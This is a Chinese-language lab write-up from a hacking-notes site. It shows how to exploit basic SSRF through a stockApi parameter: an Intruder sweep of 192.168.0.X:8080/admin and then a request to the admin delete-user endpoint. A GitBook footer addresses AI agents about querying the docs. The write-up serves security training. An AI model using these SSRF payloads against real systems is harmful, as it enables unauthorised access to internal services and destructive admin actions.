> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-internal-system.md).

# 针对内部系统的基础 SSRF

## 针对另一个后端系统的基本 SSRF

该实验室提供了一个库存验证功能，会查询内部服务。/ 目标是利用这一机制来分析内部地址范围 **192.168.0.X** 在该端口上寻找管理界面 **8080**，然后删除用户 carlos。

#### **分析与利用**

* 该 **stockApi** 参数被发送到 **Intruder** 以自动化内部地址测试：

```javascript
stockApi=http://192.168.0.§1§:8080/admin
```

<figure><img src="/files/7ac1568cca341353069f2040d7d8cf05df1187bb" alt=""><figcaption></figcaption></figure>

对以下目标进行粗暴的暴力攻击： **254 个可能的地址** 内部范围内的所有地址，路径均为 /admin。

下载一个字典文件来辅助攻击：

```bash
wget https://gist.githubusercontent.com/danielthall/09b8f173b5c0b84065d8e211def83c0b/raw/20d713765b3fa620c09aebd36e41ce69debef865/0-1000.txt
```

* 启动攻击后， **192.168.0.14** 该地址返回 \*\*HTTP 状态码 200\*\*，表明管理界面可以访问。

<figure><img src="/files/e758fc17a5681a246e95eb5fa348c811ca668ed3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0d9f13359eea8be9c6369f7c285c064a519ab1fc" alt="" width="563"><figcaption></figcaption></figure>

#### **删除用户**

* 访问管理面板：

```javascript
stockApi=http://192.168.0.14:8080/admin
stockApi=http://192.168.0.14:8080/admin/delete?username=carlos
```

<figure><img src="/files/ccd1446e4267434c0c917a115069dff278dbc2b6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssrf/basic-ssrf-against-internal-system.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
